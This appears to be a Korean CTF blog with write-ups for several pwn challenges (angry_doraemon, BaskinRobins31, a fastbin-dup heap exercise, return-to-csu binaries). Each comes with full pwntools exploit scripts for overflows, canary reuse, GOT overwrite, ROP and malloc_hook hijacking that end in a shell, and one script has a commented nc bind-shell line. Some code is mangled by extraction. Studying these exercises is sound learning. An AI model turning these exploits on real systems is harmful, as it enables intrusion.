angry_doraemon
0.01MB

2014 코드게이트에 나왔던 angry_doraemom이다.

소켓 C문제도 처음인데다가 리버스커넥션은 검색을 했던 꽤 힘들었던 문제...

더 분발해야겠다는 생각이 너무 많이든 문제였다.

 

arch : 32bit

got overwrite

canary_leak

( + 프로그램이 정상작동하려면 doraemon.txt, mouse.txt, bread.txt가 필요하다.

 

port 8888열고 접속하면 된다.

nc localhost 8888

다른건 필요없고 1~4번중 옵션고르는건데 4번에 bof터지는 곳이 있었다.

 

canary leak을 어떻게 구상할까에 막혔는데

fork()하고 nc로 접속해서 문제를 푸는 형식이기에 원본파일을 재시작 하지않는이상

접속을 몇번을 해도 카나리 값은 변하지 않는다는 점을 생각하면 카나리값은 고정이다.

stack

unsigned int v8; // [esp+2Ch] [ebp-Ch]가 canary값을 담고있다.

 

입력은 버퍼에서 받고있으니 스택상태는 다음과같다

buf[0x4]

v6[0x4] +

v7[0x2] +

v8_canary[0x4] +

v8_dummy[0x8] +

sfp[0x4] +

ret[0x4] 

 

canary_leak은 \x00포함 y 11개로 구상하고 

pay는 'y'*11 + p32(canary) + 'y'*12 + ret으로 구상했다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
 
#context.log_level = 'debug'
 
host = 'localhost'
port = 8888
 
canary_leak = 0x2e0a5d00
pppr = 0x080495bd
 
= remote(host, port)
= ELF('./angry_doraemon')
= e.libc
 
bss = e.bss()+0x200
 
def leak_canary():
    canary = "y"*11
    p.send(canary)
    p.recvuntil('y'*10)
    canary_leak = u32(p.recv(4)) - 0x79
 
write_plt = e.plt['write']
write_got = e.got['write']
 
read_plt = e.plt['read']
read_got = e.got['read']
 
#binsh = 'nc -lvp 10101 /bin/sh\x00'
binsh = '/bin/sh 0>&4 1>&4\x00'
 
p.recvuntil('>')
p.send('4')
 
p.recvuntil(') ')
 
#leak_canary()
 
pay = "a"*10
pay += p32(canary_leak)
pay += "A"*12
 
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(4+ p32(bss) + p32(len(binsh)+1)
 
pay += p32(write_plt)
pay += p32(pppr)
pay += p32(4+ p32(write_got) + p32(4)
 
pay += p32(read_plt)
pay += p32(pppr)
pay += p32(4+ p32(write_got) + p32(4)
 
pay += p32(write_plt)
pay += "BBBB"
pay += p32(bss)
 
log.info('len(pay) : ' + hex(len(pay)))
 
p.send(pay)
 
sleep(0.5)
 
p.send(binsh)
 
sleep(0.5)
libc_leak = u32(p.recv(4)) - l.sym['write']
sys = libc_leak + l.sym['system']
 
log.info('libc : ' + hex(libc_leak))
log.info('system : ' + hex(sys))
 
p.send(p32(sys))
 
p.interactive()

파일 디스크립터 0, 1을 4로 돌리고 bss에 /bin/sh 0>&4 1>&4\x00을 써줌으로써 

해당 터미널에서 쉘을 딸 수 있다.

지금 malloc.c 분석을 하며 문서를 작성하느라 블로그에 올릴게 없다..

그 동안 풀어봤던 문제들 몇개를 계속 올려야겠다.

 

BaskinRobins31
0.01MB

2018 코게 예선으로 나온 baskinrobins31이다

간단한 64bit ROP이다.

 

64bit, partial RELRO뿐이다.

 

메인의 내용은 별거없으니 pass한다.

int main()

{

     Intro()

     your_turn()

     computer_turn()

}

your_turn()에서 입력받을때 bof가 충분히 터지고 got overwrite이 가능하기에 ROP로 shell취득이 가능하다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
 
#context.log_level = 'debug'
 
= process('./BaskinRobins31')
= ELF('./BaskinRobins31')
= e.libc
bss = e.bss()
 
pop = 0x000000000040087a
prdi = 0x0000000000400bc3
 
read_plt = e.plt['read']
read_got = e.got['read']
 
write_plt = e.plt['write']
write_got = e.got['write']
 
pay = "A" * 184
 
pay += p64(pop)
pay += p64(0+ p64(bss) + p64(8)
pay += p64(read_plt)
 
pay += p64(pop)
pay += p64(1+ p64(write_got) + p64(8)
pay += p64(write_plt)
 
pay += p64(pop)
pay += p64(0+ p64(write_got) + p64(8)
pay += p64(read_plt)
 
pay += p64(prdi)
pay += p64(bss)
pay += p64(write_plt)
 
p.recvuntil('How many numbers do you want to take ? (1-3)')
 
p.send(pay)
sleep(0.5)
p.send('/bin/sh\x00')
sleep(0.5)
 
leak = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
base = leak - l.sym['write']
sys = base + l.sym['system']
 
log.info('leak : ' + hex(leak))
log.info('libc : ' + hex(base))
log.info('sys : ' + hex(sys)) 
 
p.send(p64(sys))
 
p.interactive()
 

 

 

이번 20회 해킹캠프에서 campnote라는 문제를 풀었는데 아직도 fastbin dup이 어려워서 정리한번 하려고한다.

 

조건

fast사이즈의 chunk를 자유자재로 할당, 해제할 수 가 있어야 한다.

free된 chunk에 대해서 free를 또 할 수 있어야 한다.

 

 

libc_leak

top_chunk와 인접하지않게 small, large 사이즈의 청크를 할당, 해제하면 해당 청크에 fd, bk에 <main+88>의 주소가 박힌다. 

 

보이는 것처럼 main_arena로 와서 - 0x10만큼 빼고 거기서 malloc_hook의 오프셋을 빼면 libc_base를 구할 수 있다.

 

base = <main+88> - 88 - mallo_hook_offset - 0x10

 

setting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
 
context.log_level = 'debug'
 
= process('./')
= ELF("./")
= e.libc
 
def alloc(idx, size, data):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("idx : ")
    p.send(str(idx))
    p.recvuntil("size : ")
    p.send(str(size))
    p.recvuntil("data : ")
    p.send(data)
 
def free(idx):
    p.recvuntil(">> ")
    p.send('2')
    p.recvuntil("idx : ")
    p.send(str(idx))    
 
def view(idx):
    p.recvuntil(">> ")
    p.send('3')
    p.recvuntil("idx : ")
    p.send(str(idx))

기능들 세팅

 

 

libc_leak

small

fast

fast

다음과 같은 size로 할당, 

small chunk로 libc_leak

free한 small chunk를 재할당

1
2
3
4
5
6
7
8
9
10
alloc(00x81'a')
alloc(10x60'a')
alloc(20x60'a')
free(0)
view(0)    
 
 
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00')) - l.symbols['__malloc_hook'- 88 - 0x10
alloc(30x80'a')
 

 

Double free bug

fast chunk 두개 double free bug

1번 chunk의 fd에 malloc_hook의 주소

2번 chunk 할당

1번 chunk 재할당

 

malloc_hook제외 fd모두 소멸 -> 다음 할당시 mallo_hook의 주소에 쓰임

malloc_hook에 one_gadget의 주소를 넣었다.

 

malloc_hook의 포인터가 malloc_hook -0x23(35)에 위치한다고 하기에 

p64(libc+l.symbols['__malloc_hook']-0x23)) 를 해준다.

1
2
3
4
5
6
7
8
9
free(1)
free(2)
free(1)
alloc(40x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(40x60'a')
alloc(40x60'a')
alloc(40x60'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
 

 

마지막으로 free를 2번하면 오류와 동시에 malloc을 한번하게된다.

그와 동시에 원샷이 실행되며 쉘을 딸 수가 있다.

Full Exploit     

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
 
context.log_level = 'debug'
 
= process('./')
= ELF("./")
= e.libc
 
def alloc(idx, size, data):
    p.recvuntil(">> ")
    p.send("1")
    p.recvuntil("idx : ")
    p.send(str(idx))
    p.recvuntil("size : ")
    p.send(str(size))
    p.recvuntil("data : ")
    p.send(data)
 
def free(idx):
    p.recvuntil(">> ")
    p.send('2')
    p.recvuntil("idx : ")
    p.send(str(idx))    
 
def view(idx):
    p.recvuntil(">> ")
    p.send('3')
    p.recvuntil("idx : ")
    p.send(str(idx))
    
        
alloc(00x81'a')
alloc(10x60'a')
alloc(20x60'a')
free(0)
view(0)    
 
 
libc = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00')) - l.symbols['__malloc_hook'- 88 - 0x10
alloc(30x80'a')
 
 
free(1)
free(2)
free(1)
alloc(40x60, p64(libc+l.symbols['__malloc_hook']-0x23))
alloc(40x60'a')
alloc(40x60'a')
alloc(40x60'a'*19+p64(libc+0xf02a4))
free(0)
free(0)
 
p.interactive()
 

 

사실 아직도 이해가 힘들다...

공부하러가야지

딱히 올릴려는 생각은 없었는데

원샷가젯을 처음 사용해봐서 올린다.  @~@

 

이전 rtc글과는 다른점은 페이로드가 짧아졌다는 점?

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import * 
 
context.log_level = 'debug' 
 
= remote('ctf.j0n9hyun.xyz'3025
= ELF('./rtc'
= e.libc 
 
setcsu = 0x00000000004006BA 
csu_call = 0x00000000004006A0 
one_offset = 0xf1147 
 
write_got = e.got['write'
read_got = e.got['read'
 
p.recv() 
 
pay = "A"*0x48 
pay += p64(setcsu) 
pay += p64(0+ p64(1+ p64(write_got) + p64(8+ p64(write_got) + p64(1
pay += p64(csu_call) 
 
pay += "B"*8 
pay += p64(0+ p64(1+ p64(read_got) + p64(8+ p64(write_got) + p64(0
pay += p64(csu_call) 
 
pay += p64(0* 3 + p64(write_got) + p64(0* 3 
pay += p64(csu_call) 
 
 
p.send(pay) 
 
tmp = u64(p.recv()) 
base = tmp - l.symbols['write'
one_shot = base + one_offset 
 
 
p.send(p64(one_shot)) 
 
p.interactive() 

 

csurself_
0.01MB

배우려다가 2달 지연된 rtc..

rtc는 return to csu의 약자로 바이너리 안에 존재한는 csu함수 또는 init fini를 이용해서 익스하는 기법이다.

바이너리는 실행시키자마자 바로 bof를준다.

64bit rop로도 exploit가능한 문제.

 

대충 rtc를 설명하자면 40073A부터 쭉 내려오는 pop register 들을 이용해 레지스터에 값을 넣고

400720을 통해 edi(rdi) rsi rdx에 값을 넣어주고(인자전달) call에 원하는 함수_got를 넣어서 실행(r12)시키고

cmp와 jnz의 조건을 맞쳐서 계속 chain해주면 된다.

 

가젯으로 40073A와 400720의 주소를 사용할예정이다.

(40073A, 400720)가젯은 해당주소부터 쭉 내려오면서 ret을 만날때까지 실행한다.

 

최초 setcsu는 한번만 해주면 된다.

call_csu를 하면 rbx와 rbp를 함께 설정해줘서 cmp와 jnz를 충족시켜서 chain이 된다.

 

또 chain할때 add rsp, 8 에서 rsp값이 8만큼 상승하기에 dummy * 8을 넣어줘서 rsp+8에서도 오류없이 코드작동하게 만들어준다..

 

* 함수호출시 got

함수 호출시에는 무조건 호출함수의 got값을 넣어줘야한다.

read_plt의 모습이다.

plt = 0x4004c0

got = 0x601020

 

 

 

 

보이다시피 read의 got에는 알맞은 libc의값이 들어가있다.

하지만 call qword ptr [read_plt]를 한다면 위에 보이는 이상한 주소에 있는것을 call할것이다.

Exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
 
context.log_level = 'debug'
 
= process('./csurself_')
= ELF('./csurself_')
= e.libc
 
bss = e.bss() + 0x200
 
read_plt = e.plt['read']
read_got = e.got['read']
 
puts_plt = e.plt['puts']
puts_got = e.got['puts']
 
setcsu = 0x000000000040073A
call_csu = 0x0000000000400720
 
pay = "A" * 0x30
pay += "B"*8
 
pay += p64(setcsu)
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(bss)
pay += p64(0)
pay += p64(call_csu)
 
pay += "A"*8
pay += p64(0)
pay += p64(1)
pay += p64(puts_got)
pay += p64(0)
pay += p64(0)
pay += p64(puts_got)
pay += p64(call_csu)
 
pay += "B"*8
pay += p64(0)
pay += p64(1)
pay += p64(read_got)
pay += p64(8)
pay += p64(puts_got)
pay += p64(0)
pay += p64(call_csu)
 
pay += "c"*8
pay += p64(0)
pay += p64(1)
pay += p64(puts_got)
pay += p64(0)
pay += p64(0)
pay += p64(bss)
pay += p64(call_csu)
 
p.recv()
 
p.send(pay)
 
p.send('/bin/sh\x00')
 
 
tmp = u64(p.recvuntil('\x7f')[-6:].ljust(8'\x00'))
log.info(hex(tmp))
 
base = tmp - l.symbols['puts']
sys = base + l.symbols['system']
 
log.info(hex(base))
log.info(hex(sys))
 
p.send(p64(sys))
 
p.interactive()
 

동아리 선배들한테 받은 문제

 

pwn1_
0.01MB

이 문제는 어셈으로 만들어져서 ida의 디컴파일의 기능이 안먹는다.

직접 어셈보고 해석한 문제

 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

 

Linux System Call Table for x86 64 · Ryan A. Chapman

Linux 4.7 (pulled from github.com/torvalds/linux on Jul 20 2016), x86_64 Note: 64-bit x86 uses syscall instead of interrupt 0x80. The result value will be in %rax To find the implementation of a system call, grep the kernel tree for SYSCALL_DEFINE.\?(sysca

blog.rchapman.org

테이블을 보면

sys_read는 eax 가 0

sys_write는 eax 가 1이다.

 

가젯들은 명령들이 ret을 만날때까지 실행한다.

그 예로 

stdout_sys 에 해당되는 명령어는

eax 를 1로 설정하고  

sys_read를 실행하고 입력을 받는다.

그후 eax를 0으로 다시 설정하고 끝낸다.

 

덕분에 sys_read를 받을땐 eax를 설정해줄 필요가 없다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
 
= process("./pwn1_")
 
= ELF('./pwn1_')
= e.libc
 
prdi = 0x0000000000400683
pprsi = 0x0000000000400681
syscall = 0x0000000000400581
stdout_sys = 0x0000000000400561
binsh = 0x000000000601064
 
#stdout_sys in the ida ; 
#set eax = 1 / (before) syscall
#then, 
#doing put the value in u2
#so sendline('/bin/sh\x00')
 
#and set eax = 0
 
 
#syscall gadget in the ida;
#syscall / (before) set eax = 0
 
#in the syscall table 'eax = 0' is sys_read
#in the syscall table 'eax = 1' is sys_write
 
#binsh have '/bin/sh\x00'
 
l_s_m_plt = e.plt['__libc_start_main']
l_s_m_got = e.got['__libc_start_main']
 
 
p.send('/bin/sh\x00')
p.send('/bin/sh\x00')
 
 
pay = "A" * 0x20
pay += "B" * 0x8
 
pay += p64(prdi)
pay += p64(1)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
 
pay += p64(stdout_sys)
 
pay += p64(prdi)
pay += p64(0)
pay += p64(pprsi)
pay += p64(l_s_m_got)
pay += p64(0)
pay += p64(syscall)
 
pay += p64(prdi)
pay += p64(binsh)
pay += p64(l_s_m_plt)
 
p.send(pay)
 
p.recvuntil('\n')
 
base = u64(p.recv(6).ljust(8'\x00')) - l.symbols['__libc_start_main']
 
system = base + l.symbols['system']
 
p.sendline('/bin/sh\x00')
# in the syscall
 
p.send(p64(system))
 
p.recv()
 
p.interactive()
cs

+ Recent posts